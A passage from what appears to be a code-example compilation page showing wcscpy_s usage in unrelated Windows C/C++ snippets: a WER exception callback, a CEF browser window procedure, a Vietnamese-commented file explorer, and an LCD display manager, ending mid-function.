    if (0xABCD1234 != pExceptionInformation->exceptionRecord.ExceptionCode) {
        *pbOwnershipClaimed = FALSE;
        return S_OK;
    }

    //
    // Claim the exception. We will use 2 signature pairs to uniquely identify our exception.
    //
    *pbOwnershipClaimed = TRUE;
    *pdwSignatureCount = 2;

    //
    // See if the event name buffer given is big enough to hold the event name, and the null-terminator.
    //
    EventNameLength = (DWORD) (1 + wcslen (EventName));

    if (*pchSize < EventNameLength) {
        *pchSize = EventNameLength;
        return HRESULT_FROM_WIN32 (ERROR_INSUFFICIENT_BUFFER);
    }

    //
    // Copy the event name we use.
    //
    wcscpy_s (pwszEventName, *pchSize, EventName);

    return S_OK;
}
Пример #9
0
//
//  FUNCTION: WndProc(HWND, UINT, WPARAM, LPARAM)
//
//  PURPOSE:  Processes messages for the main window.
//
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam,
                         LPARAM lParam) {
  static HWND backWnd = NULL, forwardWnd = NULL, reloadWnd = NULL,
      stopWnd = NULL, editWnd = NULL;
  static WNDPROC editWndOldProc = NULL;

  // Static members used for the find dialog.
  static FINDREPLACE fr;
  static WCHAR szFindWhat[80] = {0};
  static WCHAR szLastFindWhat[80] = {0};
  static bool findNext = false;
  static bool lastMatchCase = false;

  int wmId, wmEvent;
  PAINTSTRUCT ps;
  HDC hdc;

  if (hWnd == editWnd) {
    // Callback for the edit window
    switch (message) {
    case WM_CHAR:
      if (wParam == VK_RETURN && g_handler.get()) {
        // When the user hits the enter key load the URL
        CefRefPtr<CefBrowser> browser = g_handler->GetBrowser();
        wchar_t strPtr[MAX_URL_LENGTH+1] = {0};
        *((LPWORD)strPtr) = MAX_URL_LENGTH;
        LRESULT strLen = SendMessage(hWnd, EM_GETLINE, 0, (LPARAM)strPtr);
        if (strLen > 0) {
          strPtr[strLen] = 0;
          browser->GetMainFrame()->LoadURL(strPtr);
        }

        return 0;
      }
    }

    return (LRESULT)CallWindowProc(editWndOldProc, hWnd, message, wParam,
                                   lParam);
  } else if (message == uFindMsg) {
    // Find event.
    LPFINDREPLACE lpfr = (LPFINDREPLACE)lParam;

    if (lpfr->Flags & FR_DIALOGTERM) {
      // The find dialog box has been dismissed so invalidate the handle and
      // reset the search results.
      hFindDlg = NULL;
      if (g_handler.get()) {
        g_handler->GetBrowser()->GetHost()->StopFinding(true);
        szLastFindWhat[0] = 0;
        findNext = false;
      }
      return 0;
    }

    if ((lpfr->Flags & FR_FINDNEXT) && g_handler.get())  {
      // Search for the requested string.
      bool matchCase = (lpfr->Flags & FR_MATCHCASE?true:false);
      if (matchCase != lastMatchCase ||
          (matchCase && wcsncmp(szFindWhat, szLastFindWhat,
              sizeof(szLastFindWhat)/sizeof(WCHAR)) != 0) ||
          (!matchCase && _wcsnicmp(szFindWhat, szLastFindWhat,
              sizeof(szLastFindWhat)/sizeof(WCHAR)) != 0)) {
        // The search string has changed, so reset the search results.
        if (szLastFindWhat[0] != 0) {
          g_handler->GetBrowser()->GetHost()->StopFinding(true);
          findNext = false;
        }
        lastMatchCase = matchCase;
        wcscpy_s(szLastFindWhat, sizeof(szLastFindWhat)/sizeof(WCHAR),
            szFindWhat);
      }

      g_handler->GetBrowser()->GetHost()->Find(0, lpfr->lpstrFindWhat,
          (lpfr->Flags & FR_DOWN)?true:false, matchCase, findNext);
      if (!findNext)
        findNext = true;
    }

    return 0;
  } else {
    // Callback for the main window
    switch (message) {
    case WM_CREATE: {
      // Create the single static handler class instance
      g_handler = new ClientHandler();
      g_handler->SetMainHwnd(hWnd);

      // Create the child windows used for navigation
      RECT rect;
      int x = 0;

      GetClientRect(hWnd, &rect);

      backWnd = CreateWindow(L"BUTTON", L"Back",
                              WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON
                              | WS_DISABLED, x, 0, BUTTON_WIDTH, URLBAR_HEIGHT,
                              hWnd, (HMENU) IDC_NAV_BACK, hInst, 0);
      x += BUTTON_WIDTH;

      forwardWnd = CreateWindow(L"BUTTON", L"Forward",
                                WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON
                                | WS_DISABLED, x, 0, BUTTON_WIDTH,
                                URLBAR_HEIGHT, hWnd, (HMENU) IDC_NAV_FORWARD,
                                hInst, 0);
      x += BUTTON_WIDTH;

      reloadWnd = CreateWindow(L"BUTTON", L"Reload",
                                WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON
                                | WS_DISABLED, x, 0, BUTTON_WIDTH,
                                URLBAR_HEIGHT, hWnd, (HMENU) IDC_NAV_RELOAD,
                                hInst, 0);
      x += BUTTON_WIDTH;

      stopWnd = CreateWindow(L"BUTTON", L"Stop",
                              WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON
                              | WS_DISABLED, x, 0, BUTTON_WIDTH, URLBAR_HEIGHT,
                              hWnd, (HMENU) IDC_NAV_STOP, hInst, 0);
      x += BUTTON_WIDTH;

      editWnd = CreateWindow(L"EDIT", 0,
                              WS_CHILD | WS_VISIBLE | WS_BORDER | ES_LEFT |
                              ES_AUTOVSCROLL | ES_AUTOHSCROLL| WS_DISABLED,
                              x, 0, rect.right - BUTTON_WIDTH * 4,
                              URLBAR_HEIGHT, hWnd, 0, hInst, 0);

      // Assign the edit window's WNDPROC to this function so that we can
      // capture the enter key
      editWndOldProc =
          reinterpret_cast<WNDPROC>(GetWindowLongPtr(editWnd, GWLP_WNDPROC));
      SetWindowLongPtr(editWnd, GWLP_WNDPROC,
          reinterpret_cast<LONG_PTR>(WndProc));
      g_handler->SetEditHwnd(editWnd);
      g_handler->SetButtonHwnds(backWnd, forwardWnd, reloadWnd, stopWnd);

      rect.top += URLBAR_HEIGHT;

      CefWindowInfo info;
      CefBrowserSettings settings;

      if (AppIsOffScreenRenderingEnabled()) {
        CefRefPtr<CefCommandLine> cmd_line = AppGetCommandLine();
        bool transparent =
            cmd_line->HasSwitch(cefclient::kTransparentPaintingEnabled);

        CefRefPtr<OSRWindow> osr_window =
            OSRWindow::Create(&g_main_browser_provider, transparent);
        osr_window->CreateWidget(hWnd, rect, hInst, szOSRWindowClass);
        info.SetAsOffScreen(osr_window->hwnd());
        info.SetTransparentPainting(transparent ? TRUE : FALSE);
        g_handler->SetOSRHandler(osr_window.get());
      } else {
        // Initialize window info to the defaults for a child window.
        info.SetAsChild(hWnd, rect);
      }

      // Creat the new child browser window
      CefBrowserHost::CreateBrowser(info, g_handler.get(),
          g_handler->GetStartupURL(), settings, NULL);

      return 0;
    }

    case WM_COMMAND: {
      CefRefPtr<CefBrowser> browser;
      if (g_handler.get())
        browser = g_handler->GetBrowser();

      wmId    = LOWORD(wParam);
      wmEvent = HIWORD(wParam);
      // Parse the menu selections:
      switch (wmId) {
      case IDM_ABOUT:
        DialogBox(hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hWnd, About);
        return 0;
      case IDM_EXIT:
        if (g_handler.get())
          g_handler->CloseAllBrowsers(false);
        return 0;
      case ID_WARN_CONSOLEMESSAGE:
        if (g_handler.get()) {
          std::wstringstream ss;
          ss << L"Console messages will be written to "
              << std::wstring(CefString(g_handler->GetLogFile()));
          MessageBox(hWnd, ss.str().c_str(), L"Console Messages",
              MB_OK | MB_ICONINFORMATION);
        }
        return 0;
      case ID_WARN_DOWNLOADCOMPLETE:
      case ID_WARN_DOWNLOADERROR:
        if (g_handler.get()) {
          std::wstringstream ss;
          ss << L"File \"" <<
              std::wstring(CefString(g_handler->GetLastDownloadFile())) <<
              L"\" ";

          if (wmId == ID_WARN_DOWNLOADCOMPLETE)
            ss << L"downloaded successfully.";
          else
            ss << L"failed to download.";

          MessageBox(hWnd, ss.str().c_str(), L"File Download",
              MB_OK | MB_ICONINFORMATION);
        }
        return 0;
      case ID_FIND:
        if (!hFindDlg) {
          // Create the find dialog.
          ZeroMemory(&fr, sizeof(fr));
          fr.lStructSize = sizeof(fr);
          fr.hwndOwner = hWnd;
          fr.lpstrFindWhat = szFindWhat;
          fr.wFindWhatLen = sizeof(szFindWhat);
          fr.Flags = FR_HIDEWHOLEWORD | FR_DOWN;

          hFindDlg = FindText(&fr);
        } else {
          // Give focus to the existing find dialog.
          ::SetFocus(hFindDlg);
        }
        return 0;
      case IDC_NAV_BACK:   // Back button
        if (browser.get())
          browser->GoBack();
        return 0;
      case IDC_NAV_FORWARD:  // Forward button
        if (browser.get())
          browser->GoForward();
        return 0;
      case IDC_NAV_RELOAD:  // Reload button
        if (browser.get())
          browser->Reload();
        return 0;
      case IDC_NAV_STOP:  // Stop button
        if (browser.get())
          browser->StopLoad();
        return 0;
      case ID_TESTS_GETSOURCE:  // Test the GetSource function
        if (browser.get())
          RunGetSourceTest(browser);
        return 0;
      case ID_TESTS_GETTEXT:  // Test the GetText function
        if (browser.get())
          RunGetTextTest(browser);
        return 0;
      case ID_TESTS_POPUP:  // Test a popup window
        if (browser.get())
          RunPopupTest(browser);
        return 0;
      case ID_TESTS_REQUEST:  // Test a request
        if (browser.get())
          RunRequestTest(browser);
        return 0;
      case ID_TESTS_PLUGIN_INFO:  // Test plugin info
        if (browser.get())
          RunPluginInfoTest(browser);
        return 0;
      case ID_TESTS_ZOOM_IN:
        if (browser.get())
          ModifyZoom(browser, 0.5);
        return 0;
      case ID_TESTS_ZOOM_OUT:
        if (browser.get())
          ModifyZoom(browser, -0.5);
        return 0;
      case ID_TESTS_ZOOM_RESET:
        if (browser.get())
          browser->GetHost()->SetZoomLevel(0.0);
        return 0;
      case ID_TESTS_TRACING_BEGIN:
        g_handler->BeginTracing();
        return 0;
      case ID_TESTS_TRACING_END:
        g_handler->EndTracing();
        return 0;
      case ID_TESTS_PRINT:
        if(browser.get())
          browser->GetHost()->Print();
        return 0;
      case ID_TESTS_OTHER_TESTS:
        if (browser.get())
          RunOtherTests(browser);
        return 0;
      }
      break;
    }

    case WM_PAINT:
      hdc = BeginPaint(hWnd, &ps);
      EndPaint(hWnd, &ps);
      return 0;

    case WM_SETFOCUS:
      if (g_handler.get() && g_handler->GetBrowser()) {
        if (AppIsOffScreenRenderingEnabled()) {
          // Give focus to the OSR window.
          CefRefPtr<OSRWindow> osr_window =
              static_cast<OSRWindow*>(g_handler->GetOSRHandler().get());
          if (osr_window)
            ::SetFocus(osr_window->hwnd());
        } else {
          // Give focus to the browser.
          g_handler->GetBrowser()->GetHost()->SetFocus(true);
        }
      }
      return 0;

    case WM_SIZE:
      // Minimizing resizes the window to 0x0 which causes our layout to go all
      // screwy, so we just ignore it.
      if (wParam != SIZE_MINIMIZED && g_handler.get() &&
          g_handler->GetBrowser()) {
        CefWindowHandle hwnd =
            g_handler->GetBrowser()->GetHost()->GetWindowHandle();
        if (hwnd) {
          // Resize the browser window and address bar to match the new frame
          // window size
          RECT rect;
          GetClientRect(hWnd, &rect);
          rect.top += URLBAR_HEIGHT;

          int urloffset = rect.left + BUTTON_WIDTH * 4;

          HDWP hdwp = BeginDeferWindowPos(1);
          hdwp = DeferWindowPos(hdwp, editWnd, NULL, urloffset,
            0, rect.right - urloffset, URLBAR_HEIGHT, SWP_NOZORDER);
          hdwp = DeferWindowPos(hdwp, hwnd, NULL,
            rect.left, rect.top, rect.right - rect.left, rect.bottom - rect.top,
            SWP_NOZORDER);
          EndDeferWindowPos(hdwp);
        }
      }
      break;

    case WM_ERASEBKGND:
      if (g_handler.get() && g_handler->GetBrowser()) {
        CefWindowHandle hwnd =
            g_handler->GetBrowser()->GetHost()->GetWindowHandle();
        if (hwnd) {
          // Dont erase the background if the browser window has been loaded
          // (this avoids flashing)
          return 0;
        }
      }
      break;

    case WM_ENTERMENULOOP:
      if (!wParam) {
        // Entering the menu loop for the application menu.
        CefSetOSModalLoop(true);
      }
      break;

    case WM_EXITMENULOOP:
      if (!wParam) {
        // Exiting the menu loop for the application menu.
        CefSetOSModalLoop(false);
      }
      break;

    case WM_CLOSE:
      if (g_handler.get() && !g_handler->IsClosing()) {
        CefRefPtr<CefBrowser> browser = g_handler->GetBrowser();
        if (browser.get()) {
          // Notify the browser window that we would like to close it. This
          // will result in a call to ClientHandler::DoClose() if the
          // JavaScript 'onbeforeunload' event handler allows it.
          browser->GetHost()->CloseBrowser(false);

          // Cancel the close.
          return 0;
        }
      }

      // Allow the close.
      break;

    case WM_DESTROY:
      // Quitting CEF is handled in ClientHandler::OnBeforeClose().
      return 0;
    }

    return DefWindowProc(hWnd, message, wParam, lParam);
  }
}
Пример #10
0
// Them cac tap tin trong thu muc duoc chi dinh vao ListView
// Index bat dau cua cac tap tin duoc them vao ListView
// Gia tri tra ve:
// TRUE:	them duoc file vao ListView
// FALSE:	khong them duoc file vao ListView
int LV_ThemFie(TCHAR* szDuongDan, int index)
{
	WIN32_FIND_DATA FindFileData;
	HANDLE hFind;
	TCHAR temp[265];
	LVITEM lvItem;
	int nItem;
	int iCount = 0; // Tong so tap tin co trong thu muc 
	
	if (!szDuongDan)
		return iCount;

	wsprintf(temp, _T("%s*"), szDuongDan);
	hFind = FindFirstFile(temp, &FindFileData);
	if (hFind == INVALID_HANDLE_VALUE) 
	{
		int t = GetLastError();
		if (t == 21 // O CD, Floppy disk chua co dia
		  || t == 2 // Khong tim thay file nao, tuc o dia rong
		  || t == 5)// Tap tin khong duoc phep truy xuat
		  return iCount;
		// Loi chua xac dinh
		ErrorExit(_T("\"LV_ThemFile() FindFirstFile\""));
	}

	// La thu muc
	if (wcscmp(FindFileData.cFileName, _T(".")) == 0)
	{
		// Bo qua thu muc ..
		FindNextFile(hFind, &FindFileData);
		FindNextFile(hFind, &FindFileData);
	}
	else; // La o dia

	lvItem.mask = LVIF_TEXT | LVIF_PARAM | LVIF_IMAGE;
	HIMAGELIST himl1 = ListView_GetImageList(hwndListView, LVSIL_SMALL);
	HIMAGELIST himl2 = ListView_GetImageList(hwndListView, LVSIL_NORMAL);
	SHFILEINFO psfi;
	// Tim tat ca cac tap tin con 
	HienHanh.iKichThuoc = 0;
	do
	{
		// Lay tat ca cac file khong phai la thu muc
		if (!(FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
		{
			wsprintf(temp, _T("%s%s"), szDuongDan, FindFileData.cFileName);
			SHGetFileInfo(temp, 0, &psfi, sizeof ( SHFILEINFO ), SHGFI_ICON 
				| SHGFI_SMALLICON);
			ImageList_AddIcon(himl1, psfi.hIcon);	
			
			SHGetFileInfo(temp, 0, &psfi, sizeof ( SHFILEINFO ), SHGFI_ICON 
				| SHGFI_LARGEICON);
			ImageList_AddIcon(himl2, psfi.hIcon);

			++iCount;
			
			lvItem.pszText = FindFileData.cFileName;
			lvItem.iItem = index;
			lvItem.iImage = ImageList_GetImageCount(himl1) - 1;
			lvItem.iSubItem = 0;
			// Field lParam duoc dung trong ham so sanh (pfnCompare) khi can sort item
			// Truong hop nay, ta nen luu lai index cua item
			lvItem.lParam = index;  
			// Chen item vao ListView
			nItem = ListView_InsertItem(hwndListView, &lvItem);
			if(nItem == -1)	
				return 0;
			
			// Them thong tin cua cac cot con lai (Col #1, #2, #3) cho item 
			TCHAR szItemText[LISTVIEW_ITEM_MAX_LEN];
			// Con tro ham
			ham f[3] = {GetSize,
						GetAttribute,
						GetDateModified};
			// Cong kich thuoc cua file vao kich thuoc cua thu muc			
			HienHanh.iKichThuoc += (FindFileData.nFileSizeHigh * (__int64(MAXDWORD) + 1)) + FindFileData.nFileSizeLow;

			TCHAR *temp;
			for(int c = 0; c < 3; c++)
			{
				temp = f[c](&FindFileData);
				wcscpy_s(szItemText, temp);
				
				LV_ITEM		lvsItem;	
				lvsItem.mask = LVIF_TEXT;// | LVIF_IMAGE;
				lvsItem.iItem=nItem;
				lvsItem.iSubItem=c + 1;
				lvsItem.pszText=szItemText;
			//	lvsItem.iImage=2;
				ListView_SetItem(hwndListView,&lvsItem);
				delete []temp;
			}

			++index;
		}			  
	} while (FindNextFile(hFind, &FindFileData));
	FindClose(hFind);
	return iCount;
}
Пример #11
0
HRESULT WINAPI
OutOfProcessExceptionEventSignatureCallback (
  /* __in    */ PVOID pContext,
  /* __in    */ const PWER_RUNTIME_EXCEPTION_INFORMATION pExceptionInformation,
  /* __in    */ DWORD dwIndex,
  /* __out   */ PWSTR pwszName,
  /* __inout */ PDWORD pchName,
  /* __out   */ PWSTR pwszValue,
  /* __inout */ PDWORD pchValue
)

/*++

Routine Description:

    WER can call this function multiple times to get the report parameters that uniquely describe the
    problem.

    The PFN_WER_RUNTIME_EXCEPTION_EVENT_SIGNATURE type defines a pointer to this callback function.

    This function will be exported out of this DLL, as specified by HandlerDll.def.

Arguments:

    pContext - An arbitrary pointer-sized value that was passed in to WerRegisterRuntimeExceptionModule.

    pExceptionInformation - A WER_RUNTIME_EXCEPTION_INFORMATION structure that contains the exception
        information.

    dwIndex - The index of the report parameter. Valid values are 0 to 9.

    pwszName - A caller-allocated buffer that you use to specify the parameter name.

    pchName - A pointer to a DWORD specifying the size, in characters, of the pwszName buffer. The size includes
        the null-terminating character.

    pwszValue - A caller-allocated buffer that you use to specify the parameter value.

    pchValue - A pointer to a DWORD specifying the size, in characters, of the pwszValue buffer. The size includes
        the null-terminating character.

Return Value:

    HRESULT.

--*/

{
    UNREFERENCED_PARAMETER (pContext);


    //
    // Some sanity checks. Our handler only specifies 2 signature pairs.
    //
    if (dwIndex >= 2
        || (0xABCD1234 != pExceptionInformation->exceptionRecord.ExceptionCode)) {

        return E_UNEXPECTED;
    }

    //
    // Make sure the given buffers are large enough to hold our signature name/value pairs.
    // We will need 4 characters (3 characters + 1 null-terminator) for our fixed strings.
    //
    if (*pchName < 4) {
        *pchName = 4;
        return HRESULT_FROM_WIN32 (ERROR_INSUFFICIENT_BUFFER);
    }

    if (*pchValue < 4) {
        *pchValue = 4;
        return HRESULT_FROM_WIN32 (ERROR_INSUFFICIENT_BUFFER);
    }

    //
    // At this point, we should fill in the problem signature with the data from the crashing process.
    //
    // For example, the signature can uniquely identify where the crash happened. If our application runs
    // custom-compiled code, we can let the signature identify what module/class/line/etc the crash
    // happened at. This can be done by exposing an easily-accessible data structure in the process, and
    // reading the structure using ReadProcessMemory.
    //
    // In here, we will simply set the signature to some fixed strings.
    //
    switch (dwIndex) {
      case 0:
        wcscpy_s (pwszName, *pchName, L"one");
        wcscpy_s (pwszValue, *pchValue, L"111");
        break;

      case 1:
        wcscpy_s (pwszName, *pchName, L"two");
        wcscpy_s (pwszValue, *pchValue, L"222");
        break;

      default:
        UNREACHABLE_CODE ();
    }

    return S_OK;
}
Пример #12
0
BOOL addInfoToListView(HTREEITEM hParent)
{
	HIMAGELIST himl1 = ListView_GetImageList(hwndListView, LVSIL_SMALL);
	HIMAGELIST himl2 = ListView_GetImageList(hwndListView, LVSIL_NORMAL);

	SHFILEINFO psfi;
	LV_ITEM		lvItem;		// Cau truc mo ta 1 Item cua ListView
	int			nItem;
	TVITEM		kq;
	TCHAR		szText[PATHFILE_MAX_LEN];
	int			index = 0; // index cua item cua ListView
	HTREEITEM	hItem;
	// Tao gia tri ban dau cho thu muc hien hanh
	HienHanh.iFolderCount = 0; // So thu muc con co trong thu muc hien hanh
	HienHanh.iKichThuoc = 0;
	HienHanh.iFileCount = 0;
	// Xoa noi dung cu cua ListView
	ListView_DeleteAllItems(hwndListView);

	for (int i = 0; i < ImageList_GetImageCount(himl1); ++i)
	{
		DestroyIcon(ImageList_GetIcon(himl1, i, 0));
		DestroyIcon(ImageList_GetIcon(himl2, i, 0));
	}
	ImageList_RemoveAll(himl1);
	ImageList_RemoveAll(himl2);

	// Khoi tao cac gia tri cho item
	lvItem.mask = LVIF_TEXT | LVIF_IMAGE | LVIF_PARAM;
	kq.mask = TVIF_TEXT | TVIF_PARAM;
	kq.pszText = szText;
	kq.cchTextMax = PATHFILE_MAX_LEN;
	// Them thu muc vao ListView
	if (hItem = TreeView_GetChild(hwndTreeView, hParent))
	{
		do
		{
			kq.hItem = hItem;
			TreeView_GetItem(hwndTreeView, &kq);
			
			SHGetFileInfo((TCHAR*) kq.lParam, 0, &psfi, sizeof ( SHFILEINFO ), SHGFI_ICON 
				| SHGFI_SMALLICON);
			ImageList_AddIcon(himl1, psfi.hIcon);	
			
			SHGetFileInfo((TCHAR*) kq.lParam, 0, &psfi, sizeof ( SHFILEINFO ), SHGFI_ICON 
				| SHGFI_LARGEICON);
			ImageList_AddIcon(himl2, psfi.hIcon);	

			lvItem.pszText = szText;
			lvItem.iItem = index;
			lvItem.iImage = ImageList_GetImageCount(himl1) - 1;
			lvItem.iSubItem = 0;
			
			// Field lParam duoc dung trong ham so sanh (pfnCompare) khi can sort item
			// Truong hop nay, ta nen luu lai index cua item
			lvItem.lParam = index;  
			// Chen item vao ListView
			nItem = ListView_InsertItem(hwndListView, &lvItem);
			if(nItem == -1)	
				return FALSE;
	
			// Them thong tin cua cac cot con lai (Col #1, #2, #3) cho item 
//			GetDriveType
			WIN32_FIND_DATA FindFileData;
			TCHAR temp[PATHFILE_MAX_LEN];
			
			// Lay duong dan cua thu muc
			wcscpy_s(temp, (TCHAR*) kq.lParam);
			temp[wcslen(temp) - 1] = '\0';
			
			if (wcslen(temp) == 2 && temp[1] == ':') // O dia
			{
				// Thong tin cua o dia
			}
			else
			{
				HANDLE hFind = FindFirstFile(temp, &FindFileData);
				if (hFind == INVALID_HANDLE_VALUE) 
				{
					int t = GetLastError();
					if (t == 21 // O CD, Floppy disk chua co dia
					  || t == 2) // Khong tim thay file nao, tuc o dia rong
					  continue;
					// Loi chua xac dinh
					ErrorExit(_T("\"addInfoToListView() FindFirstFile\""));
				}
				
				TCHAR szItemText[LISTVIEW_ITEM_MAX_LEN];
				// Con tro ham
				ham f[3] = {GetSize,
							GetAttribute,
							GetDateModified};

				++HienHanh.iFolderCount;
				TCHAR *temp1;
				for(int c = 0; c < 3; c++)
				{
					temp1 = f[c](&FindFileData);
					wcscpy_s(szItemText, temp1);
					
					LV_ITEM		lvsItem;	
					lvsItem.mask = LVIF_TEXT;// | LVIF_IMAGE;
					lvsItem.iItem=nItem;
					lvsItem.iSubItem=c + 1;
					lvsItem.pszText=szItemText;
				//	lvsItem.iImage=2;
					ListView_SetItem(hwndListView,&lvsItem);
					delete []temp1;
				}
				FindClose(hFind);
			}
			++index;
		}	
		while (hItem = TreeView_GetNextSibling(hwndTreeView, hItem));
	}
	// Them file vao ListView
	kq.mask = TVIF_PARAM;
	kq.hItem = hParent;
	TreeView_GetItem(hwndTreeView, &kq);
	HienHanh.iFileCount = LV_ThemFie((TCHAR*) kq.lParam, index); 

	CapNhatStatusBar();
	return TRUE;
}
Пример #13
0
// Them tat ca cac thu muc con vao TreeView tai nut dang duoc chon
BOOL TV_ThemThuMucCon(TCHAR* szDuongDan, const HTREEITEM& T)
{
	WIN32_FIND_DATA FindFileData;
	HANDLE hFind;
	HTREEITEM hParent = T;
	HTREEITEM hPrev = NULL;
	TCHAR temp[265];
	
	wsprintf(temp, _T("%s*"), szDuongDan);
	hFind = FindFirstFile(temp, &FindFileData);
	if (hFind == INVALID_HANDLE_VALUE) 
	{
		int t = GetLastError();
		if (t == 21 // O CD, Floppy disk chua co dia
		  || t == 2) // Khong tim thay file nao, tuc o dia rong
		  return FALSE;
		// Loi chua xac dinh
		ErrorExit(_T("\"ThemThuMucCon() FindFirstFile\""));
	}

	// La thu muc
	if (wcscmp(FindFileData.cFileName, _T(".")) == 0)
	{
		// Bo qua thu muc ..
		FindNextFile(hFind, &FindFileData);
		FindNextFile(hFind, &FindFileData);
	}
	else; // La o dia

	bool flag = false;
	size_t len = wcslen(szDuongDan);

	wcscpy_s(temp, szDuongDan);
	
	// Tim tat ca cac thu muc con 
	size_t len1;
	do
	{
		// Thu muc
		if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
		{
			// Them vao cuoi chuoi duong dan cu ten thu muc vua tim duoc 
			// va chuoi "\*" de kiem tra thu muc nay co chua thu muc con hay khong
			temp[len] = 0;
			wcscat_s(temp, FindFileData.cFileName);
			len1 = wcslen(temp);
			temp[len1] = '\\';
			temp[len1 + 1] = '\0';
//			temp[len1 + 2] = '\0';

			// Tham so szLParam trong ham addItemToTree
			TCHAR *szLParam = new TCHAR[len1 + 3];
			wcscpy_s(szLParam, len1 + 3, temp);
			szLParam[len1 + 2] = 0; // Thong bao thu muc nay chua duoc expand lan nao

			temp[len1 + 1] = '*';
			temp[len1 + 2] = '\0';
			
			// Them thu muc con vao nut cha
			flag = true;
						
			hPrev = addItemToTree(FindFileData.cFileName, szLParam, hParent, hPrev, CoChuaThuMucCon(temp));
		}			  
	} while (FindNextFile(hFind, &FindFileData));
	FindClose(hFind);
	return flag;
}
Пример #14
0
void LayThongTinODia(TCHAR *szODia, TCHAR *szThongTin)
{
	// Nhung bien nay dung cho ham GetVolumeInformation
	TCHAR szVolumeName[256];
	DWORD DWVolumeSerialNumber;
	DWORD DWMaximumComponentLength;
	DWORD DWFileSystemFlags;
	
	// Tat cac thong bao loi
	SetErrorMode(SEM_FAILCRITICALERRORS);

	DWErr = GetVolumeInformation(szODia, 
			szVolumeName, 256,
			&DWVolumeSerialNumber,
			&DWMaximumComponentLength,
			&DWFileSystemFlags,
			NULL, 0);
	if (DWErr == 0)
	{
		if (GetLastError() == 21) // Loi khong co dia trong o dia mem hoac CD-ROM
		{
			UINT t = GetDriveType(szODia);
			switch (t)
			{
			case DRIVE_CDROM:
				wcscpy_s(szVolumeName, _T("CD-ROM Drive"));
				break;
			case DRIVE_REMOVABLE:
				wcscpy_s(szVolumeName, _T("Floppy Drive"));
				break;
			}
		}
		else
			ErrorExit(_T("\"GetVolumeInformation\""));		
	}

	// Truong hop o dia khong co ten
	if (_tcslen(szVolumeName) == 0)
	{
		UINT t = GetDriveType(szODia);
		switch (t)
		{
		case DRIVE_CDROM:
			wcscpy_s(szVolumeName, _T("CD-ROM Drive"));
			break;
		case DRIVE_REMOVABLE:
			wcscpy_s(szVolumeName, _T("Removable Hard Disk"));
			break;
		case DRIVE_RAMDISK:
			wcscpy_s(szVolumeName, _T("RAM Disk"));
			break;
		case DRIVE_FIXED:
			wcscpy_s(szVolumeName, _T("Local Disk"));
			break;
		}
	}

	szODia[2] = '\0';
	wsprintf(szThongTin, _T("%s (%s)"), szVolumeName, szODia); 
	szODia[2] = '\\';

	// Bat lai cac thong bao loi
	SetErrorMode(0);
}
Пример #15
0
HRESULT CLCDMyManager::Initialize()
{
	LOGFONT lf;
	HFONT hFont;
	unsigned int x, y;

	// max dims: 160 x 43
	x = 10;
	y = 0;

	// Initialize the text control (media)
	m_Text1.Initialize();
	m_Text1.SetOrigin(x, y);
	m_Text1.SetSize(160-x, 13);
	m_Text1.SetAlignment(DT_CENTER);
	m_Text1.SetWordWrap(false);
	m_Text1.SetText(_T(""));
	m_Text1.SetStartDelay(5000);
	m_Text1.SetEndDelay(2000);
	m_Text1.EnableRepeat(true);
	m_Text1.SetScrollDirection(CLCDScrollingText::SCROLL_HORZ);
	m_Text1.SetSpeed(24);

	// Initialize the progressbar control (media progress)
	y += 15;
	m_ProgBar[1].Initialize();
	m_ProgBar[1].SetOrigin(x+10, y);
	m_ProgBar[1].SetSize(160-x-10, 7);
	m_ProgBar[1].SetPos(0);
	m_ProgBar[1].SetProgressStyle(CLCDProgressBar::STYLE_FILLED_H);

	// gfx
	m_PlayState.Initialize();
	m_PlayState.SetOrigin(x, y);
	m_PlayState.SetSize(7, 7);

	// Initialize the text control (time / mpc messages)
	y += 7;
	m_Text[0].Initialize();
	m_Text[0].SetOrigin(x, y);
	m_Text[0].SetSize(160-x, /*13*/25);
	m_Text[0].SetAlignment(DT_CENTER);
	m_Text[0].SetWordWrap(false);
	m_Text[0].SetText(_T(""));
	m_Text[0].SetFontPointSize(7);
	hFont = m_Text[0].GetFont();
	GetObject(hFont, sizeof(LOGFONT), &lf);
	wcscpy_s(lf.lfFaceName, LF_FACESIZE, _T("Microsoft Sans Serif"));
	m_Text[0].SetFont(lf);

	y += 11;
	m_Text[1].Initialize();
	m_Text[1].SetOrigin(x, y);
	m_Text[1].SetSize(160-x, /*13*/25);
	m_Text[1].SetAlignment(DT_CENTER);
	m_Text[1].SetWordWrap(false);
	m_Text[1].SetText(_T(""));
	m_Text[1].SetFontPointSize(7);
	hFont = m_Text[1].GetFont();
	GetObject(hFont, sizeof(LOGFONT), &lf);
	wcscpy_s(lf.lfFaceName, LF_FACESIZE, _T("Microsoft Sans Serif"));
	m_Text[1].SetFont(lf);

	// Initialize the progressbar control (volume)
	m_ProgBar[0].Initialize();
	m_ProgBar[0].SetOrigin(0, 0);
	m_ProgBar[0].SetSize(7, 43);
	m_ProgBar[0].SetPos(0);
	m_ProgBar[0].SetProgressStyle(CLCDProgressBar::STYLE_FILLED_V);

	AddObject(&m_Text1);
	AddObject(&m_Text[0]);
	AddObject(&m_Text[1]);
	AddObject(&m_ProgBar[0]);
	AddObject(&m_ProgBar[1]);
	AddObject(&m_PlayState);

	return CLCDManager::Initialize();
}
Пример #16
0
/* This function takes a handle, and provides the associated filename back */
BOOL GetFileNameFromHandle(HANDLE hFile, WCHAR* fName)
{
	BOOL bSuccess = FALSE; // Was this function successful?
	TCHAR pszFilename[MAX_PATH + 1]; // Holds filename once retrieved
	HANDLE hFileMap; // Handle used for the CreateFileMapping();

	/* Create file mapping */
	hFileMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);

	if (hFileMap)
	{
		/* Map view of file */
		void* pMem = MapViewOfFile(hFileMap, FILE_MAP_READ, 0, 0, 1);

		if (pMem)
		{
			/* At this point, we are able to retrieve the filename */
			if (GetMappedFileName(GetCurrentProcess(), pMem, pszFilename, MAX_PATH))
			{

				/* Now we want to make it into the friendly format with drive lettes etc */
				TCHAR szTemp[BUFSIZE];
				szTemp[0] = '\0';

